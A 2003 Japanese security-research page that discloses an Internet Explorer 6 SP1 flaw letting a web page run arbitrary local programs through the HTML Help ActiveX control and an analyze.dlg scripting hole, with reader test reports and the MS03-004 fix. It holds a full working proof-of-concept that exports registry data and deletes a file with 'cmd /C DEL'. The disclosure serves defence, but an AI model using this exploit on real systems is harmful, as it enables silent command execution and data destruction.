COUNTERSince June 16, 2000
STUDIO KAMADAJapanese to English by Excite
戻る | サイトマップ | ホーム
Windows+IEにおけるプログラム強制実行の実験と対策(その6)2003-02-07(Fri) 11:01

●更新履歴
2002年12月21日 公開
2002年12月22日 Windows2000 SP2およびWindowsXP Home Editionでの動作報告をいただいたので追記
2003年2月6日 修正プログラムの情報を追記

●対象
 Windows98/2000/XP+IE6 SP1の利用者
 (他のバージョンでは未確認)

 IE5.5の利用者はWindows+IEにおけるプログラム強制実行の実験と対策(その5)(STUDIO KAMADA)を参照してください。

●概要
 IE6 SP1に存在する既知の(公開されている)脆弱性を組み合わせることで、悪意のあるウェブページの作者は本人の許可なくそのページを閲覧した人のローカルディスクにある任意のプログラムを任意のパラメータで実行することができます。任意のパラメータを指定できるので、コマンドインタプリタにDOSの内部コマンドを実行させることもできます。例えば、本人がコマンドインタプリタ用のバッチファイルでノンインタラクティブに削除することができるファイルはすべて、悪意のあるウェブページの作者も削除することができます。

●解説
 HTML HelpのActiveXコントロールにShortcutというコマンドがあります。これはHTML Help内に任意のプログラムを任意のパラメータで実行するボタンを設けるときに使うコマンドで、当然HTML Help内でなければ動作しません。しかし、セキュリティホールを悪用してインターネットゾーンからマイコンピュータゾーンに入り込み、HTML Help内にShortcutコマンドを埋め込んでClickメソッドを実行することで、インターネットゾーンから任意のプログラムを任意のパラメータで実行することができてしまいます。その具体的な手順は2002年11月にAndreas Sandblad氏によって公開されました。そのとき使用例として示されたスクリプトで利用されていた穴は修正プログラムによって既に塞がれていますが、アクティブスクリプトでゾーンをまたぐことのできる穴がすべて塞がるまでは、同様の手順で任意のプログラムを任意のパラメータで実行することができます。
 IE6 SP1でゾーンをまたぐことができる穴の例としては、Windows+IEにおけるプログラム強制実行の実験と対策(その2)(STUDIO KAMADA)に書いた分析ダイアログ(res://shdoclc.dll/analyze.dlg)に存在するクロスサイトスクリプティングの脆弱性があります。この脆弱性は8月に修正されたことになっていますが、実際に修正プログラムで変更が加えられたのはdialogArgumentsの受け渡しの部分だけで、分析ダイアログ自体の脆弱性は放置されたままになっています。しかも、dialogArgumentsの受け渡しの部分に設けられた壁はiframeを媒介するだけで簡単に越えられます。

●動作条件
 以下の条件がすべて満たされている場合に動作します。
  インターネットゾーンのセキュリティの設定
    「アクティブスクリプト」:有効にする
  マイコンピュータゾーンのセキュリティの設定
    「ActiveXコントロールとプラグインの実行」:有効にする
    「スクリプトを実行しても安全だとマークされているActiveXコントロールのスクリプトの実行」:有効にする

●実験
 この実験のスクリプトの内容は、C:\IETEST15.TXTというファイルに使用中のマシンのアンインストール情報を書き出し、続いてそのファイル(C:\IETEST15.TXT)を削除するというものです。途中でダイアログが表示されるので、その時点で(ダイアログのOKボタンを押す前に)ファイルの有無を確認してください。なお、C:\IETEST15.TXTというファイルが既に存在する場合は破壊されるので注意してください。
 Windows98SE+IE6 SP1の環境でのみテストしています。その他の組み合わせで動いた場合はご連絡ください。このままでは動かないが一部を変更するだけで動くといった情報もいただけると嬉しいです。

 追記
  以下の環境でも動作するとのご報告をいただきました。ありがとうございます。
    Windows 2000 SP2+IE6 SP1(Q324929を適用済み) … 俺ぽーたるさん
    Windows 2000 SP3+IE6 SP1(Q324929を適用済み) … 俺ぽーたるさん
    Windows XP Home Edition+IE6 SP1(Q324929を適用済み) … hard で loxse な 日々さん

実験のスクリプト
ietest15a.htm
<script language="JScript" type="text/javascript">
<!--
var cmdInterpreter = (navigator.appVersion.indexOf('NT') >= 0 ? 'cmd' : 'command');
var helpPath = (navigator.appVersion.indexOf('NT') >= 0 ? 'c:/winnt/help/' : 'c:/windows/help/');
function ampenc(s) {
	return s.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}
function myExecScript(s) {
	showModalDialog('ietest15b.htm',
	{
		opener: opener,
		document: {
			all: {
				tags: function (t) {
					return (t != 'link') ? [] : function (n) {
						return {
							length: 1,
							rel: 'stylesheet',
							readyState: '',
							href: '<script defer>'+(s)+'<'+'/script>'
						};
					}
				}
			}
		},
		isApartmentModel: function (e) { return true; }
	}, 'scroll:0;status:0');
}
function myExecCommand(i, c){
	var s = '<object id="'+(i)+'" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">';
	s += '<param name="Command" value="'+(c ? 'ShortCut' : 'Close')+'">';
	if (c) {
		s += '<param name="Item1" value=",'+ampenc(c).replace(/ /, ',')+'">';
	}
	s += '<'+'/object>';
	s = s.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
	s = 'document.body.insertAdjacentHTML("beforeEnd", "'+(s)+'");';
	s += 'void setTimeout("'+(i)+'.Click()", 2000);';
	s = 'javascript:'+(s);
	s = ampenc(s).replace(/\\/g, '\\\\');
	s = 'window.dialogArguments.opener.navigate("'+(s)+'");';
	s += 'window.close();';
	myExecScript(s);
}
function step1() {
	showHelp('iexplore.chm');
	showHelp(location.href+'#1');
}
function step2() {
	window.open(location.href+'2', '_blank', 'left=2000,top=2000,width=200,height=200');
}
function step3() {
	myExecScript(
		'window.dialogArguments.opener.navigate("its:'+(helpPath)+'iexplore.chm::/iegetsrt.htm");'+
		'window.close();');
	setTimeout('step4()', 3000);
}
function step4() {
	myExecCommand('cmd1',
'regedit /E C:\\IETEST15.TXT "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall"');
	setTimeout('step5()', 5000);
}
function step5() {
	window.focus();
	alert('ここで C:\\IETEST15.TXT にこのマシンのアンインストール情報が書き出されたかどうか確認してください');
	myExecCommand('cmd2', (cmdInterpreter)+' /C DEL C:\\IETEST15.TXT');
	setTimeout('step6()', 3000);
}
function step6() {
	window.focus();
	alert('ここで C:\\IETEST15.TXT が削除されたかどうか確認してください');
	myExecCommand('cmd3', '');
	opener.focus();
	setTimeout('step7()', 3000);
}
function step7() {
	window.focus();
	alert('終了します。残っているヘルプウインドウは手動でクローズしてください');
	window.close();
}
if (location.hash == '') step1(); else if (location.hash.length == 2) step2(); else step3();
// -->
</script>
ietest15b.htm
<html style="font-family:MS UI Gothic;font-size:9pt;width:30em;height:33em">
<body>
<iframe src="res://shdoclc.dll/analyze.dlg" width="100%" height="100%" frameborder="0"></iframe>
</body>
</html>


●修正プログラム
 2002年12月21日現在、この問題を完全に排除できる修正プログラムは公開されていません。
 以下の修正プログラムによって修正されます。
  Internet Explorer 用の累積的な修正プログラム (810847) (MS03-004)(Microsoft、2月6日)
  MS03-004 に関する情報 「MS03-004: Internet Explorer 用の累積的な修正プログラム (810847) 」(Microsoft、2月6日)

●対策
 前述の修正プログラムを適用する。

●関連リンク
  Internet Explorer 用の累積的な修正プログラム (810847) (MS03-004)(Microsoft、2月6日)
  MS03-004 に関する情報 「MS03-004: Internet Explorer 用の累積的な修正プログラム (810847) 」(Microsoft、2月6日)
  マイクロソフト サポート技術情報 - 811630 HTML Help Update to Limit Functionality When It Is Invoked with the Window.showHelp( ) Method(Microsoft、2月6日)

  Internet Explorer 用の累積的な修正プログラム (Q328970) (MS02-066)(Microsoft、11月21日)
  Internet Explorer 用の累積的な修正プログラム (324929) (MS02-068)(Microsoft、12月5日)
  GreyMagic Security Advisory GM#012-IE(GreyMagic、10月22日)
  How to execute programs with parameters in IE - Sandblad advisory #10(Bugtraq、11月6日)
  RE: How to execute programs with parameters in IE - Sandblad advisory #10(Bugtraq、11月7日)
  (MSIE) when parent gives his son bad things ;) --"dialogArguments " again(BugTraq、11月19日)
  Re: (MSIE) when parent gives his son bad things ;) --"dialogArguments " again(BugTraq、11月19日)
  Unpatched IE security holes(PivX)
  IE累積パッチをめぐる議論で思うこと(ZDNN、11月28日)
  エンド・ユーザ向け ネットワーク・セキュリティ・ニュース(福島大学 篠田伸夫助教授)

  Windows+IEで任意のコマンドを任意のパラメータで実行する方法(STUDIO KAMADA、11月8日)
  Windows+IEで任意のコマンドを任意のパラメータで実行する方法(その後)(STUDIO KAMADA、11月29日)
  Windows+IEで任意のコマンドを任意のパラメータで実行する方法(続き)(STUDIO KAMADA、12月5日)

●他の実験のページ
  Opera 6.0 Beta 1におけるディレクトリ情報漏洩の実験
  Opera 6.0 Beta 1におけるCookie情報漏洩の実験
  Windows+IEにおけるローカルファイル内容漏洩の実験
  Windows+IEにおけるローカルファイル内容漏洩の実験(その2)
  Windows+IEにおけるCookie情報漏洩の実験
  Windows+IEにおけるスクリプト強制実行の実験
  Windows+IEにおけるローカルファイル内容漏洩の実験(その3)
  Windows+IEにおけるプログラムの実行の実験
  Windows+IEにおけるプログラム強制実行の実験と対策
  Netscape 6とMozillaにおけるローカルディスクの内容の漏洩の実験
  Windows+IEにおけるプログラム強制実行の実験と対策(その2)
  Windows+IEにおけるプログラム強制実行の実験と対策(その3)
  Windows+IEにおけるローカルファイル内容漏洩の実験(その4)
  Windows+IEにおけるローカルファイル内容漏洩の実験(その5)
  Windows+IEにおけるプログラム強制実行の実験と対策(その4)
  Windows+IEにおけるローカルファイル内容漏洩の実験(その6)
  Windows+IEにおけるプログラム強制実行の実験と対策(その5)
  Windows+IEにおけるプログラム強制実行の実験と対策(その6)

  日記に戻る

戻る | サイトマップ | ホーム
E-mail: m_kamada at nifty dot comMirrorCopyright (C) 1999-2004 M.Kamada All Rights Reserved.